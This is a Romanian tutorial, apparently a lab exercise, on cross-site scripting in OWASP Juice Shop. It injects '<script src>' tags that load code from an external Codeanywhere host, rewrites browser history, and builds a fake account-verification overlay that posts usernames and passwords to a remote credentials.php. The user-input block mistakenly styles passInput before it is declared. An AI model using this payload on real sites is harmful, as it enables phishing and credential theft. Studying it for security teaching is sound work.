Cum adaugam intrari in Bowser history ?
Să ne întoarcem in contul Codeanywhere. În continuare, vom arăta cum putem adăuga intrări în istoricul browserului și cum putem modifica adrese URL.
Browserul ne permite să adăugăm intrări în istoricul browserului folosind API-ul istoric. Nu putem schimba domeniul, dar putem schimba calea sau adresa URL cu a fi ceea ce dorim. Funcția API-ului istoric al browserului care ne permite să facem acest lucru se numeste pushState. Primele două argumente ale functiei pushState pot fi ignorate (setate “”) pentru scopurile noastre, iar al treilea este noua cale pe care vrem să o salvam în istoricul browserului.
De exemplu, daca vrem să schimbăm calea către
…./ account/verification utilizam urmatoarul cod:
history.pushState(“”, “”, “/account/verification”);
Salvați fișierul cu acest cod in contul Codeanywhere, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src= > </script> pentru a încărca scriptul nostru. În cele din urmă, apăsați butonul Search si veti observa ca s-a produs modificarea istoricului browserului, salvandu-se calea cu /account/verification.
Așadar, am demonstrat că, pe lângă descărcarea de scripturi din surse externe, un atacator poate folosi codul JavaScript pentru a modifica adresa URL și istoricul browserului.
Cum modificam aspectul paginii web ?
Acum vom modifica aspectul vizual al paginii web. De exemplu, să punem un strat semi-transparent în fața. Cum putem face asta ?
Trebuie să creem o secțiune sau un element div, să setam câteva proprietăți CSS din JavaScript și apoi să plasam elementul în interiorul body tag-ului. Dar să mergem pas cu pas.
Putem crea elemente HTML folosind funcția document.createElement. De exemplu, dacă dorim să creăm un element div, putem coda:
let div = document.createElement(“div”);
Putem aplica proprietati CSS elementului folosind propritatea style, astfel:
div.style.width = “100%”;
Sa incepem sa facem layer-ul nostru. Vrem ca elementul div sa acopere toata latimea ecranului:
div.style.width = “100%”;
div.style.height = “100vh”;
div.style.position = “absolute”;
div.style.top = 0;
div.style.left = 0;
div.style.zIndex = 99999;
div.style.background = “rgba(255, 255, 255, .5)”;
În cele din urmă, să adăugăm acest div ca element secundar al body-ului folosind funcția appendChild astfel:
document.body.appendChild(div);
Codul complet va arata astfel:
Și așa cum am procedat anterior, salvați fișierul, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src=></script> cu src= calea fisierului salvat in Codeanywhere.
Dupa ce apasati Search, veți vedea că codul JavaScript este executat și întreaga pagină este acoperită de un strat alb semi-transparent.
Prin urmare, acest lucru demonstrează că suntem capabili să schimbăm aspectul vizual al paginii. Cu toate acestea, acest lucru nu este foarte util. Dar, ce se întâmplă dacă adăugăm un formular web în interiorul div-ului nostru, care solicită utilizatorului sa-si completeze parola pentru a aceesa contul ?
Cum adaugam un formular care solicita utilizatorului sa-si completeze parola ?
Pentru a face acest lucru, vom urma aceeași procedură, vom crea elementul formular și apoi îl vom adăuga în interiorul div -ului. Îmi cer scuze, sunt destul de departe de a fi un CSS pro, așa că stilul formularului nu va fi grozav, dar va ilustra ceea ce dorim sa aratam.
Să începem să codam formularul prin crearea elementului HTML la fel cum am făcut înainte:
let form = document.createElement(“form”); HTML forms
Formularele HTML au de obicei urmatoarele doua atribute:
- action (the URL of the server-side script that will handle the form
- method (the HTTP method to be used
Pentru a seta aceste atribute, putem folosi metoda setAttribute a elementului form pe care tocmai l-am creat. Mai întâi, setați atributul metodei. În acest caz, nu contează dacă utilizați GET sau POST deoarece vom trimite formularul folosind cod JavaScript:
form.setAttribute(“method”, “post”);
Apoi setați atributul action. Adresa URL va indica catre un script PHP numit credentials.php pe care îl vom coda imediat după ce terminam formularul:
form.setAttribute(“action”, “https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php”);
Mai departe, sa lucram putin pe elementele de stil ale formularului.
form.style.width = “40%”;
form.style.margin = “20px auto”;
form.style.padding = “20px”;
form.style.border = “2px dashed red”;
Acum să creăm elementele HTML care vor fi în interiorul formularului. De exemplu, să punem o etichetă de titlu pentru a indica utilizatorului că este necesară o verificare a contului. Pașii sunt aceiași; creăm elementul de heading HTML. Un H1 în acest caz:
let formTitle = document.createElement(“h1”);
formTitle.style.color = “red”;
formTitle.style.textAlign = “center”;
Apoi setam textul efectiv in interiorul acestui H1:
formTitle.textContent = “Account Verification Needed!”;
Mai departe, trebuie sa creem campurile de input ale acestui formular care sa permita completarea username-ului si a password-ului.
Sa incepem prin a crea campul / inputul necesar pentru solicitarea username-ului:
let userInput = document.createElement(“input”);
userInput.setAttribute(“type”, “text”);
userInput.setAttribute(“name”, “user”);
userInput.setAttribute(“placeholder”, “username”);
userInput.style.display = “block”;
userInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
userInput.style.textAlign = “center”;
Acum ca am creat elementul input pentru username, pentru parola trebuie sa fie similar:
let passInput = document.createElement(“input”);
passInput.setAttribute(“type”, “password”);
passInput.setAttribute(“name”, “pass”);
passInput.setAttribute(“placeholder”, “password”);
passInput.style.display = “block”;
passInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
passInput.style.textAlign = “center”;
Ca sa finalizam formularul, mai trebuie sa adaugam butonul Submit. Butonul Submit este un alt tip de element care trebuie adaugat formularului deja creat. Procedam ca in cazul anterior:
let submitButton = document.createElement(“input”);
submitButton.setAttribute(“type”, “submit”);
submitButton.setAttribute(“display”, “block”);
submitButton.setAttribute(“value”, “Verify”); *** butonul Submit va afisa textul Verify
submitButton.style.display = “block”;
submitButton.style.width = “100%”;
submitButton.style.fontSize = “1.3em”;
submitButton.style.padding = “4px”;
Toate elementele formularului fiind create, mai ramane sa le adaugam (append) la formular:
form.appendChild(formTitle);
form.appendChild(userInput);
form.appendChild(passInput);
form.appendChild(submitButton);
div.appendChild(form);
Salvam fisierul h9demo.js pe Codeanywhere, si accesam butonul de cautare din headerul aplicatiei OWASP Juice Shop, cum am procedat si in cazurile anterioare, dupa ce completam in prealabil caseta de cautare cu:
<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>
Rezultatul ar trebui sa fie urmatorul:
În acest moment, formularul nu face nimic. Trebuie sa adăugăm funcționalitatea pentru a permite receptionarea informatiilor username si password completate de utilizator in formular, folosind cod JavaScript. Pentru acesta, trebuie să codam un fisier PHP care va salva aceste informatii din formularul nostru.